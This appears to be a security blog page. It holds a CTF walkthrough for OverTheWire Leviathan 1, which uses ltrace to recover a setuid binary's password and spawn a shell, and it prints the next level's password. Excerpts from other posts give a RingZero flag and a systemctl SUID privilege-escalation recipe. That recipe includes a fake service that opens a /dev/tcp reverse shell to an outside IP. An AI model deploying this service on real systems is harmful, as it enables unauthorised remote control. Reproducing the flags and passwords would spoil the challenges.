Skip to main content

Over the Wire - Leviathan 1

Leviathan 1


Objective

Solution

ok

so lets see whats in the home direcotry

leviathan1@leviathan:~$ lscheckleviathan1@leviathan:~$ file ./check./check: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c735f6f3a3a94adcad8407cc0fda40496fd765dd, not stripped


ok so there is a binary there lets see what it does..

leviathan1@leviathan:~$ ./checkpassword: jjjWrong password, Good Bye ...


It's checking for a password  I assume if given the correct password it will give us the password to the next level
I orignally solved this a much different way looking a the text contained in the binary file but then found out about ltrace which make this much simplier

leviathan1@leviathan:~$ ltrace ./check__libc_start_main(0x804853b, 1, 0xffffd784, 0x8048610 <unfinished ...>printf("password: ")                              = 10getchar(1, 0, 0x65766f6c, 0x646f6700password: jfjfj)             = 106getchar(1, 0, 0x65766f6c, 0x646f6700)             = 102getchar(1, 0, 0x65766f6c, 0x646f6700)             = 106strcmp("jfj", "sex")                              = -1puts("Wrong password, Good Bye ..."Wrong password, Good Bye ...)              = 29+++ exited (status 0) +++


highlighted it where the binary compares what I typed in to the word jfj and gives out the wrong password message lets try it gain with the word sex

leviathan1@leviathan:~$ ltrace ./check

__libc_start_main(0x804853b, 1, 0xffffd784, 0x8048610 <unfinished ...>printf("password: ")                              = 10getchar(1, 0, 0x65766f6c, 0x646f6700password: sex)             = 115getchar(1, 0, 0x65766f6c, 0x646f6700)             = 101getchar(1, 0, 0x65766f6c, 0x646f6700)             = 120strcmp("sex", "sex")                              = 0geteuid()                                         = 12001geteuid()                                         = 12001setreuid(12001, 12001)                            = 0system("/bin/sh"$ 




Bingo a new shell lets see who it is

$ whoamileviathan2


let's read the password file for level2 from this user account since they should have access

$ cat /etc/leviathan_pass/leviathan2ougahZi8Ta



Comments

Popular posts from this blog

RingZero CTF - Forensics - Who am I part 2

RingZero CTF - Forensics -  Who am I part 2 Objective: I'm the proud owner of this website. Can you verify that? Solution: Well it took me a bit to figure this one out. I tried looking at the whois records for ringzer0ctf.com I tired looking at the DNS records for the site. I even looked in the Certificate for the site. Then I thought a little be more about the question. It's not asking how I can verify who own the site. It wants me to verify the owner themselves. Luckily at the bottom the page we see who is listed as on the twittter feeds @ringzer0CTF and @ MrUnik0d3r lets check if we can find the PGP for MrUniK0d3r online. I googled PGP and MrUn1k0d3r The very first result is his PGP  keybase.txt with his PGP at the bottom of the file is the flag FLAG-7A7i0V2438xL95z2X2Z321p30D8T433Z

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar